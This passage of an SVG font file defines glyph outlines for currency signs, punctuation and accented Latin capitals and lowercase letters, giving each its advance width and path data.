<glyph unicode="&#xa2;" horiz-adv-x="1179" d="M109 723q0 149 51 272t150 204t231 99v172h145v-172q133 -20 232 -103.5t153 -213.5l-180 -70q-90 203 -273 203q-144 0 -225.5 -110t-81.5 -281q0 -176 79.5 -282.5t227.5 -106.5q95 0 163.5 55t109.5 148l180 -72q-55 -126 -152.5 -213.5t-232.5 -101.5v-177h-145v177 q-132 18 -231 98.5t-150 203.5t-51 271z" />
<glyph unicode="&#xa3;" horiz-adv-x="1210" d="M115 0v176h125v477h-90v144h90v278q0 171 125.5 283t318.5 112q58 0 114.5 -13.5t96 -33t70.5 -38.5t46 -33l15 -13l-117 -141q-11 10 -30.5 24.5t-78 39t-114.5 24.5q-111 0 -176.5 -62.5t-65.5 -156.5v-270h377v-144h-377v-477h666v-176h-995z" />
<glyph unicode="&#xa5;" horiz-adv-x="1243" d="M57 1446h232l241 -451q20 -43 42 -95t34 -83l12 -31h5q43 113 88 209l243 451h232l-340 -606h209v-129h-277l-55 -99v-75h332v-129h-332v-408h-205v408h-334v129h334v75l-55 99h-279v129h211z" />
<glyph unicode="&#xa7;" horiz-adv-x="905" d="M98 -23l90 138q3 -3 9.5 -8t27.5 -18.5t42.5 -23.5t54.5 -18t65 -8q95 0 156 56t61 159q0 40 -12 92l-135 770h161l144 -799q10 -55 10 -92q0 -155 -104 -253.5t-281 -98.5q-50 0 -98 10.5t-81 26t-59 31t-39 25.5zM129 1120q0 153 104.5 251.5t282.5 98.5q49 0 97 -10.5 t81 -26t59.5 -31t38.5 -26.5l13 -10l-94 -131q-9 8 -26 19.5t-68 31t-101 19.5q-97 0 -158 -53.5t-61 -153.5q0 -36 12 -82l140 -789h-164l-144 799q-12 46 -12 94z" />
<glyph unicode="&#xa8;" d="M258 1599v207h164v-207h-164zM600 1599v207h164v-207h-164z" />
<glyph unicode="&#xa9;" horiz-adv-x="1681" d="M111 723q0 153 57.5 291.5t154.5 238.5t231.5 158.5t283.5 58.5q201 0 369.5 -99.5t266 -271t97.5 -376.5q0 -153 -57.5 -292t-155.5 -238.5t-234 -158.5t-286 -59q-149 0 -283.5 59t-231.5 158.5t-154.5 238.5t-57.5 292zM260 723q0 -126 45 -239t121.5 -194t184 -128 t227.5 -47q162 0 296 80t210.5 219.5t76.5 308.5t-76.5 308.5t-210.5 219.5t-296 80q-120 0 -227.5 -47t-184 -128t-121.5 -194t-45 -239zM449 721q0 81 28.5 155t79.5 130.5t128 90t167 33.5q66 0 125 -21t95.5 -50.5t63.5 -59t38 -50.5l12 -21l-125 -68q-3 5 -8.5 14 t-24.5 31t-41 39t-57 31t-72 14q-117 0 -185.5 -78.5t-68.5 -189.5q0 -114 67 -191t187 -77q38 0 72.5 13.5t57.5 32.5t40 37.5t25 31.5l8 14l125 -68q-4 -8 -12 -22t-37.5 -49t-64.5 -61.5t-94.5 -48.5t-125.5 -22q-180 0 -291.5 120.5t-111.5 289.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="864" d="M150 543v116h563v-116h-563zM152 981q0 225 385 225h20v13q0 129 -131 129q-39 0 -81.5 -14.5t-65.5 -29.5l-23 -14l-59 101q4 3 11 8t31 18t50.5 23t68.5 18t86 8q127 0 194 -66.5t67 -191.5v-411h-140v94h-4q-2 -4 -6.5 -11.5t-21.5 -26.5t-36.5 -33t-53 -26t-70.5 -12 q-88 0 -154.5 53.5t-66.5 145.5zM299 991q0 -37 27.5 -62.5t76.5 -25.5q67 0 110.5 56.5t43.5 125.5v17h-25q-233 0 -233 -111z" />
<glyph unicode="&#xab;" horiz-adv-x="1138" d="M90 578l336 421h199l-336 -421l336 -420h-199zM502 578l336 421h198l-336 -421l336 -420h-198z" />
<glyph unicode="&#xac;" horiz-adv-x="1257" d="M123 696v160h977v-547h-166v387h-811z" />
<glyph unicode="&#xad;" horiz-adv-x="966" d="M184 496v176h598v-176h-598z" />
<glyph unicode="&#xae;" horiz-adv-x="1681" d="M111 723q0 153 57.5 291.5t154.5 238.5t231.5 158.5t283.5 58.5q201 0 369.5 -99.5t266 -271t97.5 -376.5q0 -153 -57.5 -292t-155.5 -238.5t-234 -158.5t-286 -59q-149 0 -283.5 59t-231.5 158.5t-154.5 238.5t-57.5 292zM260 723q0 -126 45 -239t121.5 -194t184 -128 t227.5 -47q162 0 296 80t210.5 219.5t76.5 308.5t-76.5 308.5t-210.5 219.5t-296 80q-120 0 -227.5 -47t-184 -128t-121.5 -194t-45 -239zM588 340v772h297q109 0 176 -64t67 -171q0 -82 -43.5 -136.5t-97.5 -68.5v-4q9 -8 27 -43l147 -285h-160l-143 299h-125v-299h-145z M733 745h123q57 0 91 35.5t34 96.5q0 59 -33.5 91.5t-91.5 32.5h-123v-256z" />
<glyph unicode="&#xaf;" d="M250 1606v143h522v-143h-522z" />
<glyph unicode="&#xb0;" horiz-adv-x="796" d="M88 1167q0 125 90 214t219 89t220.5 -89t91.5 -214q0 -126 -91.5 -214.5t-220.5 -88.5t-219 88.5t-90 214.5zM246 1167q0 -63 43.5 -107t107.5 -44t108 44t44 107q0 64 -44 109t-108 45t-107.5 -45t-43.5 -109z" />
<glyph unicode="&#xb1;" horiz-adv-x="1394" d="M156 504v160h458v503h168v-503h457v-160h-457v-504h-168v504h-458zM188 -195h1018v-159h-1018v159z" />
<glyph unicode="&#xb4;" d="M330 1546l149 260h213l-196 -260h-166z" />
<glyph unicode="&#xb6;" horiz-adv-x="1208" d="M88 971q0 131 65.5 241t176.5 172t241 62h557v-176h-401v-1372h-154v596q-130 0 -241.5 62.5t-177.5 173t-66 241.5zM854 -102v1255h152v-1255h-152z" />
<glyph unicode="&#xb7;" horiz-adv-x="563" d="M180 489v211h203v-211h-203z" />
<glyph unicode="&#xb8;" d="M350 -291q41 -14 86 -14q43 0 71 15t28 48q0 31 -30 47.5t-79 16.5l-37 -2l60 227l100 -20v-17l-25 -112q66 -8 107 -47t41 -103q0 -88 -60.5 -130t-148.5 -42q-29 0 -57.5 3.5t-41.5 6.5l-14 4v119z" />
<glyph unicode="&#xba;" horiz-adv-x="956" d="M127 1130q0 145 101 241.5t247 96.5q148 0 250 -96.5t102 -241.5q0 -149 -101.5 -246.5t-248.5 -97.5q-148 0 -249 97.5t-101 246.5zM160 543v116h639v-116h-639zM274 1130q0 -93 58.5 -152.5t144.5 -59.5q85 0 143 60t58 152q0 90 -58.5 148.5t-142.5 58.5 q-86 0 -144.5 -58.5t-58.5 -148.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1140" d="M102 158l336 420l-336 421h199l336 -421l-336 -420h-199zM516 158l336 420l-336 421h199l336 -421l-336 -420h-199z" />
<glyph unicode="&#xbf;" horiz-adv-x="921" d="M80 -57q0 69 20 127.5t52 100.5t70.5 79.5t77 71.5t70.5 68.5t52 78.5t20 94v76h193v-88q0 -63 -19 -118t-49.5 -95t-67.5 -76.5t-74 -70t-67.5 -67t-49.5 -76t-19 -89.5q0 -87 66 -146t167 -59q57 0 115.5 22t88.5 44l30 22l108 -141q-5 -5 -15.5 -14t-45.5 -31.5 t-73.5 -40t-99 -31.5t-122.5 -14q-116 0 -213 45t-156 131.5t-59 196.5zM438 838v198h203v-198h-203z" />
<glyph unicode="&#xc0;" horiz-adv-x="1286" d="M16 0l521 1446h213l520 -1446h-211l-146 416h-544l-144 -416h-209zM369 1806h213l149 -260h-168zM422 584h438l-160 458q-11 33 -25 84t-22 86l-8 35h-4q-32 -131 -57 -205z" />
<glyph unicode="&#xc1;" horiz-adv-x="1286" d="M16 0l521 1446h213l520 -1446h-211l-146 416h-544l-144 -416h-209zM422 584h438l-160 458q-11 33 -25 84t-22 86l-8 35h-4q-32 -131 -57 -205zM553 1546l149 260h213l-196 -260h-166z" />
<glyph unicode="&#xc2;" horiz-adv-x="1286" d="M16 0l521 1446h213l520 -1446h-211l-146 416h-544l-144 -416h-209zM358 1546l181 260h206l181 -260h-174l-109 164h-4l-107 -164h-174zM422 584h438l-160 458q-11 33 -25 84t-22 86l-8 35h-4q-32 -131 -57 -205z" />
<glyph unicode="&#xc3;" horiz-adv-x="1286" d="M16 0l521 1446h213l520 -1446h-211l-146 416h-544l-144 -416h-209zM299 1548q0 260 209 260q38 0 70.5 -14.5t55 -35t42.5 -40.5t43 -34.5t47 -14.5q42 0 61 40t19 93h143q0 -260 -209 -260q-38 0 -70.5 14.5t-55 35t-42.5 40.5t-43 34.5t-47 14.5q-42 0 -61 -39.5 t-19 -93.5h-143zM422 584h438l-160 458q-11 33 -25 84t-22 86l-8 35h-4q-32 -131 -57 -205z" />
<glyph unicode="&#xc4;" horiz-adv-x="1286" d="M16 0l521 1446h213l520 -1446h-211l-146 416h-544l-144 -416h-209zM391 1599v207h164v-207h-164zM422 584h438l-160 458q-11 33 -25 84t-22 86l-8 35h-4q-32 -131 -57 -205zM733 1599v207h164v-207h-164z" />
<glyph unicode="&#xc5;" horiz-adv-x="1286" d="M16 0l521 1446h213l520 -1446h-211l-146 416h-544l-144 -416h-209zM422 584h438l-160 458q-11 33 -25 84t-22 86l-8 35h-4q-32 -131 -57 -205zM469 1673q0 70 51 112t123 42q71 0 122.5 -42.5t51.5 -111.5q0 -68 -51.5 -109.5t-122.5 -41.5q-72 0 -123 41.5t-51 109.5z M575 1673q0 -29 18.5 -48t49.5 -19q29 0 48.5 19t19.5 48q0 32 -19 52t-49 20q-31 0 -49.5 -20t-18.5 -52z" />
<glyph unicode="&#xc6;" horiz-adv-x="1798" d="M8 0l598 1446h1057v-176h-639v-453h520v-176h-520v-465h674v-176h-875v643h-346l-258 -643h-211zM545 811h278v459h-94z" />
<glyph unicode="&#xc7;" horiz-adv-x="1482" d="M102 731q0 155 56.5 292t153.5 235t234 155t292 57q97 0 187 -19.5t149 -47.5t104 -56t66 -47l20 -20l-100 -152q-7 6 -19.5 17t-55 38t-88.5 48t-115.5 38t-139.5 17q-158 0 -281 -74.5t-188.5 -200t-65.5 -278.5q0 -155 66 -284.5t190 -208t281 -78.5q76 0 150 19.5 t125 47t91.5 55t59.5 46.5l20 20l109 -145q-8 -9 -22.5 -23.5t-65.5 -52.5t-108 -68t-148 -56t-187 -30l-16 -77q66 -8 107 -47t41 -103q0 -88 -60.5 -130t-148.5 -42q-29 0 -57.5 3.5t-41.5 6.5l-14 4v119q41 -14 86 -14q98 0 98 63q0 31 -29.5 47.5t-78.5 16.5l-37 -2 l41 160q-291 28 -475.5 239.5t-184.5 511.5z" />
<glyph unicode="&#xc8;" horiz-adv-x="1173" d="M197 0v1446h839v-176h-637v-453h519v-176h-519v-465h672v-176h-874zM365 1806h213l149 -260h-168z" />
<glyph unicode="&#xc9;" horiz-adv-x="1173" d="M197 0v1446h839v-176h-637v-453h519v-176h-519v-465h672v-176h-874zM551 1546l149 260h213l-196 -260h-166z" />
<glyph unicode="&#xca;" horiz-adv-x="1173" d="M197 0v1446h839v-176h-637v-453h519v-176h-519v-465h672v-176h-874zM356 1546l181 260h206l181 -260h-174l-109 164h-4l-107 -164h-174z" />
<glyph unicode="&#xcb;" horiz-adv-x="1173" d="M197 0v1446h839v-176h-637v-453h519v-176h-519v-465h672v-176h-874zM387 1599v207h164v-207h-164zM729 1599v207h164v-207h-164z" />
<glyph unicode="&#xcc;" horiz-adv-x="595" d="M25 1806h213l149 -260h-168zM197 0v1446h202v-1446h-202z" />
<glyph unicode="&#xcd;" horiz-adv-x="595" d="M197 0v1446h202v-1446h-202zM211 1546l149 260h213l-196 -260h-166z" />
<glyph unicode="&#xce;" horiz-adv-x="595" d="M14 1546l181 260h206l181 -260h-174l-109 164h-4l-107 -164h-174zM197 0v1446h202v-1446h-202z" />
<glyph unicode="&#xcf;" horiz-adv-x="595" d="M47 1599v207h164v-207h-164zM197 0v1446h202v-1446h-202zM389 1599v207h164v-207h-164z" />
<glyph unicode="&#xd0;" horiz-adv-x="1554" d="M115 639v168h121v639h479q221 0 386 -84t256 -248t91 -389q0 -340 -198.5 -532.5t-534.5 -192.5h-479v639h-121zM438 176h262q249 0 394 143t145 406q0 261 -145.5 403t-393.5 142h-262v-463h305v-168h-305v-463z" />
<glyph unicode="&#xd1;" horiz-adv-x="1550" d="M197 0v1446h200l643 -940q24 -35 54 -87t48 -87l19 -35h4q-14 129 -14 209v940h203v-1446h-199l-645 938q-24 36 -54 88.5t-48 87.5l-19 35h-4q14 -129 14 -211v-938h-202zM430 1548q0 260 209 260q38 0 70.5 -14.5t55 -35t42.5 -40.5t43 -34.5t47 -14.5q42 0 61 40 t19 93h143q0 -260 -209 -260q-38 0 -70.5 14.5t-55 35t-42.5 40.5t-43 34.5t-47 14.5q-42 0 -61 -39.5t-19 -93.5h-143z" />
<glyph unicode="&#xd2;" horiz-adv-x="1681" d="M98 733q0 153 58 290t157 235t237 155t292 57q206 0 376 -97t267.5 -266t97.5 -374q0 -210 -97.5 -384t-267.5 -274t-376 -100q-154 0 -292 59t-237 160t-157 241.5t-58 297.5zM307 733q0 -160 72 -291.5t194.5 -205.5t268.5 -74q109 0 207.5 44t169.5 119t113 181.5 t42 226.5q0 155 -71 282t-193 199t-268 72t-268.5 -72t-194.5 -199.5t-72 -281.5zM567 1806h213l150 -260h-168z" />
<glyph unicode="&#xd3;" horiz-adv-x="1681" d="M98 733q0 153 58 290t157 235t237 155t292 57q206 0 376 -97t267.5 -266t97.5 -374q0 -210 -97.5 -384t-267.5 -274t-376 -100q-154 0 -292 59t-237 160t-157 241.5t-58 297.5zM307 733q0 -160 72 -291.5t194.5 -205.5t268.5 -74q109 0 207.5 44t169.5 119t113 181.5 t42 226.5q0 155 -71 282t-193 199t-268 72t-268.5 -72t-194.5 -199.5t-72 -281.5zM754 1546l149 260h213l-196 -260h-166z" />
<glyph unicode="&#xd4;" horiz-adv-x="1681" d="M98 733q0 153 58 290t157 235t237 155t292 57q206 0 376 -97t267.5 -266t97.5 -374q0 -210 -97.5 -384t-267.5 -274t-376 -100q-154 0 -292 59t-237 160t-157 241.5t-58 297.5zM307 733q0 -160 72 -291.5t194.5 -205.5t268.5 -74q109 0 207.5 44t169.5 119t113 181.5 t42 226.5q0 155 -71 282t-193 199t-268 72t-268.5 -72t-194.5 -199.5t-72 -281.5zM557 1546l180 260h207l180 -260h-174l-108 164h-4l-107 -164h-174z" />
<glyph unicode="&#xd5;" horiz-adv-x="1681" d="M98 733q0 153 58 290t157 235t237 155t292 57q206 0 376 -97t267.5 -266t97.5 -374q0 -210 -97.5 -384t-267.5 -274t-376 -100q-154 0 -292 59t-237 160t-157 241.5t-58 297.5zM307 733q0 -160 72 -291.5t194.5 -205.5t268.5 -74q109 0 207.5 44t169.5 119t113 181.5 t42 226.5q0 155 -71 282t-193 199t-268 72t-268.5 -72t-194.5 -199.5t-72 -281.5zM498 1548q0 260 209 260q38 0 70.5 -14.5t55 -35t42.5 -40.5t43 -34.5t47 -14.5q42 0 60.5 40t18.5 93h144q0 -260 -209 -260q-38 0 -70.5 14.5t-55 35t-42.5 40.5t-43 34.5t-47 14.5 q-42 0 -61 -39.5t-19 -93.5h-143z" />
<glyph unicode="&#xd6;" horiz-adv-x="1681" d="M98 733q0 153 58 290t157 235t237 155t292 57q206 0 376 -97t267.5 -266t97.5 -374q0 -210 -97.5 -384t-267.5 -274t-376 -100q-154 0 -292 59t-237 160t-157 241.5t-58 297.5zM307 733q0 -160 72 -291.5t194.5 -205.5t268.5 -74q109 0 207.5 44t169.5 119t113 181.5 t42 226.5q0 155 -71 282t-193 199t-268 72t-268.5 -72t-194.5 -199.5t-72 -281.5zM590 1599v207h164v-207h-164zM932 1599v207h164v-207h-164z" />
<glyph unicode="&#xd8;" horiz-adv-x="1687" d="M102 733q0 153 58 290t157 235t237 155t292 57q203 0 379 -100l94 129l100 -69l-94 -132q124 -101 193 -247.5t69 -317.5q0 -210 -97.5 -384t-267.5 -274t-376 -100q-217 0 -393 109l-97 -135l-102 69l100 142q-119 105 -185.5 253t-66.5 320zM311 733q0 -244 160 -411 l641 890q-123 74 -266 74q-146 0 -268.5 -72t-194.5 -199.5t-72 -281.5zM567 242q125 -80 279 -80q109 0 207.5 44t169.5 119t113 181.5t42 226.5q0 121 -44.5 226t-123.5 180z" />
<glyph unicode="&#xd9;" horiz-adv-x="1490" d="M176 512v934h203v-934q0 -164 98.5 -257t265.5 -93q169 0 269 93.5t100 260.5v930h203v-934q0 -241 -158 -389t-412 -148t-411.5 148t-157.5 389zM471 1806h213l150 -260h-168z" />
<glyph unicode="&#xda;" horiz-adv-x="1490" d="M176 512v934h203v-934q0 -164 98.5 -257t265.5 -93q169 0 269 93.5t100 260.5v930h203v-934q0 -241 -158 -389t-412 -148t-411.5 148t-157.5 389zM655 1546l150 260h213l-197 -260h-166z" />
<glyph unicode="&#xdb;" horiz-adv-x="1490" d="M176 512v934h203v-934q0 -164 98.5 -257t265.5 -93q169 0 269 93.5t100 260.5v930h203v-934q0 -241 -158 -389t-412 -148t-411.5 148t-157.5 389zM461 1546l180 260h207l180 -260h-174l-109 164h-4l-106 -164h-174z" />
<glyph unicode="&#xdc;" horiz-adv-x="1490" d="M176 512v934h203v-934q0 -164 98.5 -257t265.5 -93q169 0 269 93.5t100 260.5v930h203v-934q0 -241 -158 -389t-412 -148t-411.5 148t-157.5 389zM494 1599v207h163v-207h-163zM836 1599v207h163v-207h-163z" />
<glyph unicode="&#xdd;" horiz-adv-x="1204" d="M16 1446h230l268 -475q20 -36 42 -81.5t34 -73.5l12 -28h4q43 101 88 183l264 475h230l-483 -834v-612h-203v612zM514 1546l150 260h213l-197 -260h-166z" />
<glyph unicode="&#xde;" horiz-adv-x="1243" d="M197 0v1446h200v-246h328q200 0 326.5 -124t126.5 -328t-127 -331.5t-328 -127.5h-326v-289h-200zM397 465h295q130 0 205.5 76t75.5 207q0 130 -74.5 203t-204.5 73h-297v-559z" />
<glyph unicode="&#xdf;" horiz-adv-x="1204" d="M156 0v1085q0 121 65 210.5t163.5 132t213.5 42.5q168 0 278.5 -95.5t110.5 -233.5q0 -47 -15 -89t-38 -71t-49.5 -59t-49.5 -53t-38 -52t-15 -57q0 -30 27 -61.5t68 -58t88.5 -63t88.5 -73.5t68 -91.5t27 -115.5q0 -148 -102.5 -229.5t-247.5 -81.5q-84 0 -157 15 t-104 29l-30 15v176q13 -7 36 -17.5t92.5 -28t137.5 -17.5q74 0 123 37t49 110q0 39 -27 76t-68 65.5t-88 63t-88 67.5t-68 79.5t-27 97.5q0 47 21 90t51.5 76.5t61 66t51.5 72t21 80.5q0 65 -51 112t-143 47q-98 0 -168 -59t-70 -168v-1071h-198z" />
<glyph unicode="&#xe0;" horiz-adv-x="1081" d="M72 291q0 70 26.5 127t66 93.5t99 63t113 40t120.5 21.5t108.5 9.5t90.5 1.5h45v19q0 227 -227 227q-45 0 -91 -10.5t-80 -25t-62 -29t-42 -24.5l-14 -11l-82 145q6 5 17.5 13.5t50 29.5t80.5 37t107 29.5t132 13.5q197 0 303.5 -105t106.5 -301v-655h-184v98l4 82h-4 q-2 -4 -5.5 -11.5t-17 -29t-30 -40.5t-45 -43t-60.5 -41t-77.5 -28.5t-96.5 -11.5q-143 0 -247.5 84.5t-104.5 231.5zM264 1446h213l150 -260h-168zM272 301q0 -68 51.5 -117t143.5 -49q80 0 145 51t98 125.5t33 153.5v33h-51q-39 0 -71 -1t-77.5 -5.5t-80.5 -12.5 t-72.5 -22.5t-62 -35t-40.5 -51.5t-16 -69z" />
<glyph unicode="&#xe1;" horiz-adv-x="1081" d="M72 291q0 70 26.5 127t66 93.5t99 63t113 40t120.5 21.5t108.5 9.5t90.5 1.5h45v19q0 227 -227 227q-45 0 -91 -10.5t-80 -25t-62 -29t-42 -24.5l-14 -11l-82 145q6 5 17.5 13.5t50 29.5t80.5 37t107 29.5t132 13.5q197 0 303.5 -105t106.5 -301v-655h-184v98l4 82h-4 q-2 -4 -5.5 -11.5t-17 -29t-30 -40.5t-45 -43t-60.5 -41t-77.5 -28.5t-96.5 -11.5q-143 0 -247.5 84.5t-104.5 231.5zM272 301q0 -68 51.5 -117t143.5 -49q80 0 145 51t98 125.5t33 153.5v33h-51q-39 0 -71 -1t-77.5 -5.5t-80.5 -12.5t-72.5 -22.5t-62 -35t-40.5 -51.5 t-16 -69zM446 1186l150 260h213l-197 -260h-166z" />
<glyph unicode="&#xe2;" horiz-adv-x="1081" d="M72 291q0 70 26.5 127t66 93.5t99 63t113 40t120.5 21.5t108.5 9.5t90.5 1.5h45v19q0 227 -227 227q-45 0 -91 -10.5t-80 -25t-62 -29t-42 -24.5l-14 -11l-82 145q6 5 17.5 13.5t50 29.5t80.5 37t107 29.5t132 13.5q197 0 303.5 -105t106.5 -301v-655h-184v98l4 82h-4 q-2 -4 -5.5 -11.5t-17 -29t-30 -40.5t-45 -43t-60.5 -41t-77.5 -28.5t-96.5 -11.5q-143 0 -247.5 84.5t-104.5 231.5zM252 1186l180 260h207l180 -260h-174l-108 164h-5l-106 -164h-174zM272 301q0 -68 51.5 -117t143.5 -49q80 0 145 51t98 125.5t33 153.5v33h-51 q-39 0 -71 -1t-77.5 -5.5t-80.5 -12.5t-72.5 -22.5t-62 -35t-40.5 -51.5t-16 -69z" />
<glyph unicode="&#xe3;" horiz-adv-x="1081" d="M72 291q0 70 26.5 127t66 93.5t99 63t113 40t120.5 21.5t108.5 9.5t90.5 1.5h45v19q0 227 -227 227q-45 0 -91 -10.5t-80 -25t-62 -29t-42 -24.5l-14 -11l-82 145q6 5 17.5 13.5t50 29.5t80.5 37t107 29.5t132 13.5q197 0 303.5 -105t106.5 -301v-655h-184v98l4 82h-4 q-2 -4 -5.5 -11.5t-17 -29t-30 -40.5t-45 -43t-60.5 -41t-77.5 -28.5t-96.5 -11.5q-143 0 -247.5 84.5t-104.5 231.5zM193 1188q0 260 208 260q38 0 70.5 -14.5t55 -35t42.5 -40.5t43 -34.5t47 -14.5q42 0 61 40t19 93h144q0 -260 -209 -260q-38 0 -70.5 14.5t-55 35 t-42.5 40.5t-43 34.5t-47 14.5q-42 0 -61 -39.5t-19 -93.5h-143zM272 301q0 -68 51.5 -117t143.5 -49q80 0 145 51t98 125.5t33 153.5v33h-51q-39 0 -71 -1t-77.5 -5.5t-80.5 -12.5t-72.5 -22.5t-62 -35t-40.5 -51.5t-16 -69z" />
<glyph unicode="&#xe4;" horiz-adv-x="1081" d="M72 291q0 70 26.5 127t66 93.5t99 63t113 40t120.5 21.5t108.5 9.5t90.5 1.5h45v19q0 227 -227 227q-45 0 -91 -10.5t-80 -25t-62 -29t-42 -24.5l-14 -11l-82 145q6 5 17.5 13.5t50 29.5t80.5 37t107 29.5t132 13.5q197 0 303.5 -105t106.5 -301v-655h-184v98l4 82h-4 q-2 -4 -5.5 -11.5t-17 -29t-30 -40.5t-45 -43t-60.5 -41t-77.5 -28.5t-96.5 -11.5q-143 0 -247.5 84.5t-104.5 231.5zM272 301q0 -68 51.5 -117t143.5 -49q80 0 145 51t98 125.5t33 153.5v33h-51q-39 0 -71 -1t-77.5 -5.5t-80.5 -12.5t-72.5 -22.5t-62 -35t-40.5 -51.5 t-16 -69zM285 1239v207h164v-207h-164zM627 1239v207h164v-207h-164z" />
<glyph unicode="&#xe5;" horiz-adv-x="1081" d="M72 291q0 70 26.5 127t66 93.5t99 63t113 40t120.5 21.5t108.5 9.5t90.5 1.5h45v19q0 227 -227 227q-45 0 -91 -10.5t-80 -25t-62 -29t-42 -24.5l-14 -11l-82 145q6 5 17.5 13.5t50 29.5t80.5 37t107 29.5t132 13.5q197 0 303.5 -105t106.5 -301v-655h-184v98l4 82h-4 q-2 -4 -5.5 -11.5t-17 -29t-30 -40.5t-45 -43t-60.5 -41t-77.5 -28.5t-96.5 -11.5q-143 0 -247.5 84.5t-104.5 231.5zM272 301q0 -68 51.5 -117t143.5 -49q80 0 145 51t98 125.5t33 153.5v33h-51q-39 0 -71 -1t-77.5 -5.5t-80.5 -12.5t-72.5 -22.5t-62 -35t-40.5 -51.5 t-16 -69zM362 1313q0 69 51.5 111t123.5 42q71 0 122.5 -42t51.5 -111q0 -68 -51.5 -110t-122.5 -42q-72 0 -123.5 42t-51.5 110zM469 1313q0 -30 19 -49t49 -19q29 0 48 19.5t19 48.5q0 32 -18.5 51.5t-48.5 19.5q-31 0 -49.5 -19.5t-18.5 -51.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1769" d="M74 291q0 67 23.5 121.5t61 91t92 63.5t108 42t118.5 24t113.5 11.5t101.5 2.5h51v19q0 227 -233 227q-69 0 -140.5 -25t-107.5 -50l-37 -25l-80 145q6 5 17 13.5t48.5 29.5t78.5 37t105 29.5t130 13.5q260 0 344 -182h4q123 182 379 182q136 0 235 -67.5t148 -180.5 t49 -256l-4 -59h-743q7 -169 102.5 -260t241.5 -91q50 0 100 12.5t85.5 29.5t64 34.5t42.5 30.5l15 12l82 -143q-6 -6 -18 -16t-51.5 -35.5t-83 -45t-110.5 -35.5t-136 -16q-154 0 -269 68.5t-178 192.5h-4q-7 -21 -21.5 -48t-47 -66.5t-74 -70.5t-107 -53.5t-141.5 -22.5 q-149 0 -251.5 85.5t-102.5 230.5zM276 301q0 -69 51 -117.5t144 -48.5q81 0 145.5 51.5t96.5 126.5t32 154v31h-96q-43 0 -82 -3t-83.5 -10.5t-80 -22t-65 -35.5t-46 -53t-16.5 -73zM944 647h539q-4 125 -74 190.5t-172 65.5q-117 0 -194.5 -64.5t-98.5 -191.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="1122" d="M84 518q0 232 156.5 387.5t398.5 155.5q73 0 139.5 -15.5t110 -38t76.5 -45t48 -38.5l15 -15l-94 -139q-5 5 -13.5 13t-37 28.5t-59.5 36t-79.5 28.5t-97.5 13q-157 0 -258.5 -104.5t-101.5 -264.5t103 -266.5t263 -106.5q54 0 107 14.5t89.5 35t66 41t43.5 34.5l14 15 l80 -146q-6 -6 -16.5 -17t-47.5 -38t-78.5 -48.5t-108.5 -40.5t-138 -22l-17 -77q66 -8 107 -47t41 -103q0 -88 -60.5 -130t-148.5 -42q-29 0 -57.5 3.5t-42.5 6.5l-13 4v119q41 -14 86 -14q98 0 98 63q0 31 -29.5 47.5t-78.5 16.5l-37 -2l41 162q-210 28 -339.5 175.5 t-129.5 360.5z" />
<glyph unicode="&#xe8;" horiz-adv-x="1136" d="M84 518q0 244 146.5 393.5t371.5 149.5q142 0 245.5 -66.5t153.5 -175t50 -244.5l-7 -86h-755q7 -163 108.5 -252.5t247.5 -89.5q50 0 100 12.5t85.5 30.5t64 35.5t43.5 30.5l14 12l82 -145q-6 -6 -18 -16t-51.5 -35.5t-83 -45t-111.5 -35.5t-137 -16q-160 0 -286 71.5 t-194.5 195t-68.5 276.5zM295 639h553q-4 128 -74.5 196t-175.5 68q-117 0 -199.5 -69.5t-103.5 -194.5zM330 1446h213l149 -260h-168z" />
<glyph unicode="&#xe9;" horiz-adv-x="1136" d="M84 518q0 244 146.5 393.5t371.5 149.5q142 0 245.5 -66.5t153.5 -175t50 -244.5l-7 -86h-755q7 -163 108.5 -252.5t247.5 -89.5q50 0 100 12.5t85.5 30.5t64 35.5t43.5 30.5l14 12l82 -145q-6 -6 -18 -16t-51.5 -35.5t-83 -45t-111.5 -35.5t-137 -16q-160 0 -286 71.5 t-194.5 195t-68.5 276.5zM295 639h553q-4 128 -74.5 196t-175.5 68q-117 0 -199.5 -69.5t-103.5 -194.5zM514 1186l150 260h213l-197 -260h-166z" />
<glyph unicode="&#xea;" horiz-adv-x="1136" d="M84 518q0 244 146.5 393.5t371.5 149.5q142 0 245.5 -66.5t153.5 -175t50 -244.5l-7 -86h-755q7 -163 108.5 -252.5t247.5 -89.5q50 0 100 12.5t85.5 30.5t64 35.5t43.5 30.5l14 12l82 -145q-6 -6 -18 -16t-51.5 -35.5t-83 -45t-111.5 -35.5t-137 -16q-160 0 -286 71.5 t-194.5 195t-68.5 276.5zM295 639h553q-4 128 -74.5 196t-175.5 68q-117 0 -199.5 -69.5t-103.5 -194.5zM317 1186l181 260h207l180 -260h-174l-109 164h-4l-106 -164h-175z" />
<glyph unicode="&#xeb;" horiz-adv-x="1136" d="M84 518q0 244 146.5 393.5t371.5 149.5q142 0 245.5 -66.5t153.5 -175t50 -244.5l-7 -86h-755q7 -163 108.5 -252.5t247.5 -89.5q50 0 100 12.5t85.5 30.5t64 35.5t43.5 30.5l14 12l82 -145q-6 -6 -18 -16t-51.5 -35.5t-83 -45t-111.5 -35.5t-137 -16q-160 0 -286 71.5 t-194.5 195t-68.5 276.5zM295 639h553q-4 128 -74.5 196t-175.5 68q-117 0 -199.5 -69.5t-103.5 -194.5zM350 1239v207h164v-207h-164zM692 1239v207h164v-207h-164z" />
<glyph unicode="&#xec;" horiz-adv-x="509" d="M-18 1446h213l149 -260h-168zM156 0v1036h198v-1036h-198z" />
<glyph unicode="&#xed;" horiz-adv-x="509" d="M156 0v1036h198v-1036h-198zM168 1186l149 260h213l-196 -260h-166z" />
<glyph unicode="&#xee;" horiz-adv-x="509" d="M-27 1186l181 260h206l181 -260h-174l-109 164h-4l-107 -164h-174zM156 0v1036h198v-1036h-198z" />
<glyph unicode="&#xef;" horiz-adv-x="509" d="M4 1239v207h164v-207h-164zM156 0v1036h198v-1036h-198zM346 1239v207h164v-207h-164z" />
